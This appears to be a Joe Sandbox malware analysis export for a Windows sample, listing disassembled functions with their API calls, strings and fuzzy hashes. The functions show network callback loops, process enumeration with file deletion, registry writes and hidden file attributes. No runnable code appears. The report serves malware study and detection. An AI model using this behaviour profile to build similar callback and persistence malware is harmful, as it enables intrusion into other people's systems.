Source File: 00000008.00000002.2939930327.0000000000961000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00960000, based on PE: true

Associated: 00000008.00000002.2937375527.0000000000960000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940032960.0000000000992000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940057939.000000000099E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940130240.00000000009A1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_960000_7bOe0mBZpcivp612.jbxd

Similarity

API ID: ___std_exception_destroy
String ID: ", "$: "
API String ID: 4194217158-747220369
Opcode ID: 38cbcb4db3f55f68001c395a07f12477d546a5ca1137ec2cc0b0b67b53837bb0
Instruction ID: 16c964f836072665f1a05ace33ec48d845c385874b373e0f4f6a0fa6e7e1a879
Opcode Fuzzy Hash: 38cbcb4db3f55f68001c395a07f12477d546a5ca1137ec2cc0b0b67b53837bb0
Instruction Fuzzy Hash: 19E11371E006019FDB28DF68DC94BAEBBB5FF84300F18822DE4559B781E774A991CB91

Function 0096A280 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 157COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 0096A40F

Part of subcall function 00972C70: RaiseException.KERNEL32(E06D7363,00000001,00000003,?,?,009A0094,?,0097061C,?,0099C07C,?), ref: 00972CD1

Strings

ios_base::failbit set, xrefs: 0096A2A8
ios_base::badbit set, xrefs: 0096A3A7, 0096A3D2, 0096A3F3

Memory Dump Source

Source File: 00000008.00000002.2939930327.0000000000961000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00960000, based on PE: true

Associated: 00000008.00000002.2937375527.0000000000960000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940032960.0000000000992000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940057939.000000000099E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940130240.00000000009A1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_960000_7bOe0mBZpcivp612.jbxd

Similarity

API ID: ExceptionRaise___std_exception_copy
String ID: ios_base::badbit set$ios_base::failbit set
API String ID: 3109751735-1240500531
Opcode ID: 3bac747000c333080568c3fbb4e33a8846d8b65fed81b701fc6d9d975bd904f9
Instruction ID: 567f48d1b15ac878ffe05e0ff641bcb172c2b20670f2936a7683cf864e7d1db6
Opcode Fuzzy Hash: 3bac747000c333080568c3fbb4e33a8846d8b65fed81b701fc6d9d975bd904f9
Instruction Fuzzy Hash: BA51D4B2914304ABCB14DF58CC41BAEF7F8EF49310F14822AF914A7381E771A904CBA1

Function 009751A7 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?), ref: 009751CC

Strings

RCC, xrefs: 009751E6
MOC, xrefs: 009751DE

Memory Dump Source

Source File: 00000008.00000002.2939930327.0000000000961000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00960000, based on PE: true

Associated: 00000008.00000002.2937375527.0000000000960000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940032960.0000000000992000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940057939.000000000099E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940130240.00000000009A1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_960000_7bOe0mBZpcivp612.jbxd

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: f87f30456741da801f95c442707c887b3f3a63fad73124d90435d90041fb2a84
Instruction ID: 264fbcb583e83d0888eddde7688103c49bef0a0b493569616b089efc81d9a6e4
Opcode Fuzzy Hash: f87f30456741da801f95c442707c887b3f3a63fad73124d90435d90041fb2a84
Instruction Fuzzy Hash: 26419D32900609AFCF16DF94CC81AEE7BB9FF48304F158059F918A7212E3759950DF90

Analysis Process: xHdN9si8LjqmZs2y.exePID: 7592, Parent PID: 7576COMMON

Execution Graph

Execution Coverage:	6.5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	1172
Total number of Limit Nodes:	18

Executed Functions

Function 00B4B930 Relevance: 34.4, APIs: 17, Strings: 2, Instructions: 1104networksleepCOMMON

Download Yara Rule

APIs

recv.WS2_32(?,?,000003FF,00000000), ref: 00B4B998
ExitProcess.KERNEL32 ref: 00B4C02A
WSAStartup.WS2_32(00000202,?), ref: 00B4C4E2
htons.WS2_32(00000000), ref: 00B4C54A
inet_pton.WS2_32(00000002,00B80094,?), ref: 00B4C56E
socket.WS2_32(00000002,00000001,00000000), ref: 00B4C57A
Sleep.KERNEL32(00001388), ref: 00B4C58C

Part of subcall function 00B4A7C0: _strftime.LIBCMT ref: 00B4A8F2

connect.WS2_32(00000000,?,00000010), ref: 00B4C59B
recv.WS2_32(00000000,00000000,00000000,00000000), ref: 00B4C653
closesocket.WS2_32(00000000), ref: 00B4C671
Sleep.KERNEL32(00001388), ref: 00B4C689
std::_Throw_Cpp_error.LIBCPMT ref: 00B4C6D4
std::_Throw_Cpp_error.LIBCPMT ref: 00B4C6E2
GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 00B4C743
GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,?), ref: 00B4C7A9
GetTempPathA.KERNEL32(00000104,?), ref: 00B4C7BC

Strings

invalid stoi argument, xrefs: 00B4C459, 00B4C6B2
stoi argument out of range, xrefs: 00B4C463, 00B4C6BC

Memory Dump Source

Source File: 0000000B.00000002.2932676473.0000000000B41000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B40000, based on PE: true

Associated: 0000000B.00000002.2930652626.0000000000B40000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2935961945.0000000000B72000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2936453518.0000000000B7E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2936477161.0000000000B81000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_b40000_xHdN9si8LjqmZs2y.jbxd

Similarity

API ID: Cpp_errorFileModuleNameSleepThrow_recvstd::_$ExitPathProcessStartupTemp_strftimeclosesocketconnecthtonsinet_ptonsocket
String ID: invalid stoi argument$stoi argument out of range
API String ID: 1806641947-1606216832
Opcode ID: 6771c087f613ae4a049792023d3178786c0609558895e9a4c608031294dd78eb
Instruction ID: f8276455c5302d5d9e7d3270b61ad682b13bc3635926de5ae327e53ad23e5ca9
Opcode Fuzzy Hash: 6771c087f613ae4a049792023d3178786c0609558895e9a4c608031294dd78eb
Instruction Fuzzy Hash: 63A2F4B19012588BDB24DF28CC85BAEBBF1EF45304F1442D8E649A7292DB309F85DF59

Function 00B46F70 Relevance: 21.9, APIs: 14, Instructions: 885processCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(?,?,?,?,00B79E3E,00000000,7980E21C), ref: 00B47274
SetFileAttributesA.KERNEL32(?,00000000,?,?,?,?,00B79E3E,00000000,7980E21C), ref: 00B4728E
GetBinaryTypeA.KERNEL32(?,FFFFFFFF,?,?,?,?,00B79E3E,00000000,7980E21C), ref: 00B472AA
CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,00000010,00000000,00000000,00000044,?,?,?,?,?,?,00000000), ref: 00B474D4
CloseHandle.KERNEL32(?,?,?,00000000,00B79EA0,00000001,?,?,0000000F,?,FFFFFFFF,?,?,?,?,00B79E3E), ref: 00B474EA
CloseHandle.KERNEL32(?,?,?,00000000,00B79EA0,00000001,?,?,0000000F,?,FFFFFFFF,?,?,?,?,00B79E3E), ref: 00B474F2
OpenProcess.KERNEL32(00000410,00000000,?,7980E21C,?,00000000), ref: 00B47640
K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104,?,?,?,?,?,?,?,00000000), ref: 00B4765B
CloseHandle.KERNELBASE(00000000), ref: 00B47666
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,00000000), ref: 00B4766E
GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,00000000), ref: 00B47682
___std_fs_convert_wide_to_narrow@20.LIBCPMT ref: 00B4786C
___std_fs_convert_wide_to_narrow@20.LIBCPMT ref: 00B478B4
GetCurrentProcessId.KERNEL32(?,?,?,?,00000001,00000000,00B79E9C,00000001,?,?,?,?,00000000), ref: 00B47C03

Memory Dump Source

Source File: 0000000B.00000002.2932676473.0000000000B41000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B40000, based on PE: true

Associated: 0000000B.00000002.2930652626.0000000000B40000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2935961945.0000000000B72000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2936453518.0000000000B7E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2936477161.0000000000B81000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_b40000_xHdN9si8LjqmZs2y.jbxd

Similarity

API ID: CloseFileHandle$Process$AttributesModuleName___std_fs_convert_wide_to_narrow@20$BinaryCreateCurrentOpenType
String ID:
API String ID: 2016004407-0
Opcode ID: 0abd55fee22e5c6a85e03e207970f15329aa1912b5eaa78abe0e1c116ccc632e
Instruction ID: ecedd78468f0fce4cba57fe8e64f408dea01694cdd8084995000a3e1388f09c2
Opcode Fuzzy Hash: 0abd55fee22e5c6a85e03e207970f15329aa1912b5eaa78abe0e1c116ccc632e
Instruction Fuzzy Hash: 0E829E71D042588BDB29DB28DC89BADBBB5EF45300F1482D9E419AB292DB709FC4DF50

Function 00B4FD87 Relevance: 4.5, APIs: 3, Instructions: 35
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindClose.KERNEL32(000000FF,?,00B4FDB5,?,?,?,00B459C7,?,?,7980E21C,?,?,?,7980E21C,?), ref: 00B4FD93
FindFirstFileExW.KERNELBASE(000000FF,00000001,7980E21C,00000000,00000000,00000000,?,?,?,?,00B4FDB5,?,?,?,00B459C7,?), ref: 00B4FDC2
GetLastError.KERNEL32(?,00B4FDB5,?,?,?,00B459C7,?,?,7980E21C,?,?,?,7980E21C,?), ref: 00B4FDD4

Memory Dump Source

Source File: 0000000B.00000002.2932676473.0000000000B41000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B40000, based on PE: true

Associated: 0000000B.00000002.2930652626.0000000000B40000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2935961945.0000000000B72000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2936453518.0000000000B7E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2936477161.0000000000B81000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_b40000_xHdN9si8LjqmZs2y.jbxd

Similarity

API ID: Find$CloseErrorFileFirstLast
String ID:
API String ID: 4020440971-0
Opcode ID: 253739c47842ceca2db0eb6d928ee53be9116c440f9b09416154bdabfd43c622
Instruction ID: 7363aebe6fbe1d5117517c080cc63300760c128414f9ffedc2332dd75226dece
Opcode Fuzzy Hash: 253739c47842ceca2db0eb6d928ee53be9116c440f9b09416154bdabfd43c622
Instruction Fuzzy Hash: 78F05E3140020ABFDB102FA4EC059BA7BEDEB14361B108674B968924B0DB3189A1AA60

Function 00B47CD0 Relevance: 23.1, APIs: 11, Strings: 2, Instructions: 324
processfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,7980E21C,?,00000000), ref: 00B47D0C
CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,?,?,?,00000003,000000FF,-00000020,?,00000003,000000FF), ref: 00B47EE0
Process32First.KERNEL32(00000000,?), ref: 00B47F03
GetCurrentProcessId.KERNEL32 ref: 00B47F11
OpenProcess.KERNEL32(00000400,00000000,?), ref: 00B47F2D
QueryFullProcessImageNameW.KERNELBASE(00000000,00000000,?,?), ref: 00B47F58
CloseHandle.KERNEL32(00000000), ref: 00B47FC8
CloseHandle.KERNELBASE(00000000), ref: 00B47FD3
Process32Next.KERNEL32(00000000,00000128), ref: 00B47FE5
CloseHandle.KERNELBASE(00000000), ref: 00B47FF4
DeleteFileW.KERNELBASE(?), ref: 00B4800B

Strings

status, xrefs: 00B48134
directory_iterator::directory_iterator, xrefs: 00B48129

Memory Dump Source

Source File: 0000000B.00000002.2932676473.0000000000B41000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B40000, based on PE: true

Associated: 0000000B.00000002.2930652626.0000000000B40000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2935961945.0000000000B72000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2936453518.0000000000B7E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2936477161.0000000000B81000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_b40000_xHdN9si8LjqmZs2y.jbxd

Similarity

API ID: CloseHandleProcess$FileNameProcess32$CreateCurrentDeleteFirstFullImageModuleNextOpenQuerySnapshotToolhelp32
String ID: directory_iterator::directory_iterator$status
API String ID: 1496499601-2525534277
Opcode ID: 78abce92352d386bf912dded10948af3a320c5afa4d4cebd06924a4fcb25cd36
Instruction ID: ed0b6448e576156f39fd6bd22d5eda907a41efac2c76151efc77437779e10e38
Opcode Fuzzy Hash: 78abce92352d386bf912dded10948af3a320c5afa4d4cebd06924a4fcb25cd36
Instruction Fuzzy Hash: 21C19F71A102148BDB259F24CC94BADB3F9EF44314F1486D9E90AA7291EF34AF89DF50

Function 00B4C6F0 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 318
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00B5A06A: GetSystemTimeAsFileTime.KERNEL32(7980E21C,?,?,?,?,?,00B4A815,00000000,7980E21C), ref: 00B5A07F
Part of subcall function 00B5A06A: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00B5A09E

GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 00B4C743
GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,?), ref: 00B4C7A9
GetTempPathA.KERNEL32(00000104,?), ref: 00B4C7BC
std::_Throw_Cpp_error.LIBCPMT ref: 00B4CB21
std::_Throw_Cpp_error.LIBCPMT ref: 00B4CB30
GetCurrentProcessId.KERNEL32 ref: 00B4CB48

Strings

invalid stoi argument, xrefs: 00B4C459, 00B4C6B2, 00B4CB06
stoi argument out of range, xrefs: 00B4C463, 00B4C6BC, 00B4CB10

Memory Dump Source

Source File: 0000000B.00000002.2932676473.0000000000B41000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B40000, based on PE: true

Associated: 0000000B.00000002.2930652626.0000000000B40000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2935961945.0000000000B72000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2936453518.0000000000B7E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2936477161.0000000000B81000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_b40000_xHdN9si8LjqmZs2y.jbxd

Similarity

API ID: File$Cpp_errorModuleNameThrow_Timestd::_$CurrentPathProcessSystemTempUnothrow_t@std@@@__ehfuncinfo$??2@
String ID: invalid stoi argument$stoi argument out of range
API String ID: 3489346416-1606216832
Opcode ID: a7d494a9cba562a52d56be60bd6be88725ba9a2deac1a39f9fa251eb8e6965a4
Instruction ID: 7d4f838056655e2842ef962cebd96b48c6432c1a3f2046ea8a96e54c96e4f404
Opcode Fuzzy Hash: a7d494a9cba562a52d56be60bd6be88725ba9a2deac1a39f9fa251eb8e6965a4
Instruction Fuzzy Hash: 7DB126715043405BE724EB24CC46BAFBBE5EF84704F048A9CF98997192EF709A48DB53

Function 00B43700 Relevance: 10.8, APIs: 7, Instructions: 350
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryValueExA.KERNELBASE(?,?,00000000,?,?,?), ref: 00B43A8D
RegCloseKey.ADVAPI32(?), ref: 00B43AA2
RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020006,?), ref: 00B43E1D
RegSetValueExA.ADVAPI32(?,?,00000000,00000001,?,?), ref: 00B43E56
RegCloseKey.ADVAPI32(?), ref: 00B43E63

Memory Dump Source

Source File: 0000000B.00000002.2932676473.0000000000B41000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B40000, based on PE: true

Associated: 0000000B.00000002.2930652626.0000000000B40000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2935961945.0000000000B72000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2936453518.0000000000B7E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2936477161.0000000000B81000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_b40000_xHdN9si8LjqmZs2y.jbxd

Similarity

API ID: CloseValue$OpenQuery
String ID:
API String ID: 3962714758-0
Opcode ID: 8d5ce9a71353b83a62384883111edbd1656125bccf44cb14e60dfca44ef010fd
Instruction ID: a69d20e715bc6e945c6144fec5594e2fbd413de46ab3a262c599a226cd705454
Opcode Fuzzy Hash: 8d5ce9a71353b83a62384883111edbd1656125bccf44cb14e60dfca44ef010fd
Instruction Fuzzy Hash: E112A7B45093818FD375CF28C594BDABBE5BB8A310F04896EE9C98B311DB709945CF52

Function 00B626B3 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(00000000,?,00000000,00000800,00000000,?,?,7980E21C,?,00B627C2,?,?,00000000), ref: 00B62774

Strings

ext-ms-, xrefs: 00B6271E
api-ms-, xrefs: 00B6270A

Memory Dump Source

Source File: 0000000B.00000002.2932676473.0000000000B41000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B40000, based on PE: true

Associated: 0000000B.00000002.2930652626.0000000000B40000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2935961945.0000000000B72000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2936453518.0000000000B7E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2936477161.0000000000B81000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_b40000_xHdN9si8LjqmZs2y.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: 536c20db77d9748914e3a8a7597c2cb1c18bdcb050a32e706271324c4214fd12
Instruction ID: 879f6ca4f0b755fdbbcd56f14af3fee7ff1f26625ff8cf0d3ecc9d3c3ced68e7
Opcode Fuzzy Hash: 536c20db77d9748914e3a8a7597c2cb1c18bdcb050a32e706271324c4214fd12
Instruction Fuzzy Hash: 6421E736A01611ABEB219B20DC84E7A77E8EB51B60F2401A4ED19A72A5DB78ED00C6D0

Function 00B43513 Relevance: 8.0, APIs: 5, Instructions: 486
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000B.00000002.2932676473.0000000000B41000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B40000, based on PE: true

Associated: 0000000B.00000002.2930652626.0000000000B40000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2935961945.0000000000B72000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2936453518.0000000000B7E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2936477161.0000000000B81000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_b40000_xHdN9si8LjqmZs2y.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 111495bc8d89a3a36b0393e977f274df6ce9dc24d20c0b8690e1a9399796ab1e
Instruction ID: 6a3c27233f9be6e6d83ca79dc17a104e42c6bccedde502297c3d530a0a8a6040
Opcode Fuzzy Hash: 111495bc8d89a3a36b0393e977f274df6ce9dc24d20c0b8690e1a9399796ab1e
Instruction Fuzzy Hash: 1632E0B49083819FD374CF24C994BDABBE5BF89300F0449AEE9899B351DB705A45CF52

Function 00B43000 Relevance: 6.3, APIs: 4, Instructions: 289
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoInitialize.OLE32(00000000), ref: 00B43131
CoCreateInstance.OLE32(00B722C0,00000000,00000001,00B79DF8,?), ref: 00B43156
CoUninitialize.OLE32 ref: 00B432B8
SHGetFolderPathA.SHELL32(00000000,00000007,00000000,00000000,?,7980E21C,75A8EB20), ref: 00B4337F

Memory Dump Source

Source File: 0000000B.00000002.2932676473.0000000000B41000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B40000, based on PE: true

Associated: 0000000B.00000002.2930652626.0000000000B40000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2935961945.0000000000B72000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2936453518.0000000000B7E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2936477161.0000000000B81000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_b40000_xHdN9si8LjqmZs2y.jbxd

Similarity

API ID: CreateFolderInitializeInstancePathUninitialize
String ID:
API String ID: 760132150-0
Opcode ID: 7134635f2264d20d1f19b82d50664ec13cc6bc73e105930a52f497fdbe28698f
Instruction ID: 9c5b979b9aef665adfff938116d376972a89f8723ba0f9719ea32da77497d43b
Opcode Fuzzy Hash: 7134635f2264d20d1f19b82d50664ec13cc6bc73e105930a52f497fdbe28698f
Instruction Fuzzy Hash: 92D103B49012299FDB64DF24CD99BEABBB5AB49300F1442D9E409A7351DB316F84CF40

Function 00B46BB0 Relevance: 4.7, APIs: 3, Instructions: 184
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTempPathA.KERNEL32(00000104,?,7980E21C,?,00000000), ref: 00B46C24
CreateDirectoryA.KERNELBASE(?,00000000,?), ref: 00B46D38
GetLastError.KERNEL32 ref: 00B46D46

Memory Dump Source

Source File: 0000000B.00000002.2932676473.0000000000B41000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B40000, based on PE: true

Associated: 0000000B.00000002.2930652626.0000000000B40000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2935961945.0000000000B72000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2936453518.0000000000B7E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2936477161.0000000000B81000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_b40000_xHdN9si8LjqmZs2y.jbxd

Similarity

API ID: CreateDirectoryErrorLastPathTemp
String ID:
API String ID: 3750913106-0
Opcode ID: 8aa05a58de31d4cfeffb2497f6f0ee1404941ee4c710ffcffeedec0be8633ea0
Instruction ID: a28702e3cc2083be28ca10d79810514a4a5f9b4ad7c198ed7a7bbc9a89f8440c
Opcode Fuzzy Hash: 8aa05a58de31d4cfeffb2497f6f0ee1404941ee4c710ffcffeedec0be8633ea0
Instruction Fuzzy Hash: 3461E471A002188BDB28DB24DC89BEEB7F5EF4A300F1442E9E459A7292DB305FC49F51

Function 00B44320 Relevance: 4.6, APIs: 3, Instructions: 99
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(05265C00,00000000,00000000,?,000F4240,00000000,?,?,000F4240,00000000,?), ref: 00B443CE
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00B443E4
Sleep.KERNEL32(00000000,00000000,?,000F4240,00000000,?,?,000F4240,00000000,?), ref: 00B44405

Memory Dump Source

Source File: 0000000B.00000002.2932676473.0000000000B41000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B40000, based on PE: true

Associated: 0000000B.00000002.2930652626.0000000000B40000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2935961945.0000000000B72000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2936453518.0000000000B7E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2936477161.0000000000B81000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_b40000_xHdN9si8LjqmZs2y.jbxd

Similarity

API ID: Sleep$Unothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 240202187-0
Opcode ID: 0fe453e4c71ac576c01ccc91f0daf1c1b663d08cdc216541ce99a34c2ad3c5c0
Instruction ID: dbed178165cc3f38f357ab33c2f4743da36c2f0ce8e75a576119071c5099f4b9
Opcode Fuzzy Hash: 0fe453e4c71ac576c01ccc91f0daf1c1b663d08cdc216541ce99a34c2ad3c5c0
Instruction Fuzzy Hash: C131E771E0060597CB14EEA88CC2B7EB7F5EB84720F2402F9E611B3381D7706F516654

Function 00B58955 Relevance: 4.6, APIs: 3, Instructions: 51
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNELBASE(00000000,00000000,Function_000187F9,00000000,00000000,00000000), ref: 00B5899E
GetLastError.KERNEL32(?,00B4C960,00000000,00000000), ref: 00B589AA
__dosmaperr.LIBCMT ref: 00B589B1

Memory Dump Source

Source File: 0000000B.00000002.2932676473.0000000000B41000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B40000, based on PE: true

Associated: 0000000B.00000002.2930652626.0000000000B40000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2935961945.0000000000B72000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2936453518.0000000000B7E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2936477161.0000000000B81000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_b40000_xHdN9si8LjqmZs2y.jbxd

Similarity

API ID: CreateErrorLastThread__dosmaperr
String ID:
API String ID: 2744730728-0
Opcode ID: 5ef32dd9c7c9e2b2c334064f238ff74c147400d9882b9b8d69c61bda5781f643
Instruction ID: 1c7a41e4701f6decf1c6dbbd905acdad793f6a376efcc5db22b12c7ce8e245eb
Opcode Fuzzy Hash: 5ef32dd9c7c9e2b2c334064f238ff74c147400d9882b9b8d69c61bda5781f643
Instruction Fuzzy Hash: CB014C7250021AABDF16AFA1DC05BAE7BE5EF04362F1040D8FD01A6160EF71DE58DB91

Function 00B588AE Relevance: 4.5, APIs: 3, Instructions: 30
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00B5FD61: GetLastError.KERNEL32(00000000,?,00B594CB,00B624CE,?,?,00B5FC5D,00000001,00000364,?,00000006,000000FF,?,00B5881E,00B7C3E0,0000000C), ref: 00B5FD65
Part of subcall function 00B5FD61: SetLastError.KERNEL32(00000000), ref: 00B5FE07

CloseHandle.KERNEL32(?,?,?,00B589E5,?,?,00B58857,00000000), ref: 00B588DF
FreeLibraryAndExitThread.KERNELBASE(?,?,?,?,00B589E5,?,?,00B58857,00000000), ref: 00B588F5
ExitThread.KERNEL32 ref: 00B588FE

Memory Dump Source

Source File: 0000000B.00000002.2932676473.0000000000B41000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B40000, based on PE: true

Associated: 0000000B.00000002.2930652626.0000000000B40000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2935961945.0000000000B72000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2936453518.0000000000B7E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2936477161.0000000000B81000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_b40000_xHdN9si8LjqmZs2y.jbxd

Similarity

API ID: ErrorExitLastThread$CloseFreeHandleLibrary
String ID:
API String ID: 1991824761-0
Opcode ID: 8e9f926093269916318a3dc7770cfe6818fe2f99a9a92415b91e1c5d896645cd
Instruction ID: 4a8d46bcf02da10b8068ee9cd4e883ab975b2f80900297d79b04ed0287ca429b
Opcode Fuzzy Hash: 8e9f926093269916318a3dc7770cfe6818fe2f99a9a92415b91e1c5d896645cd
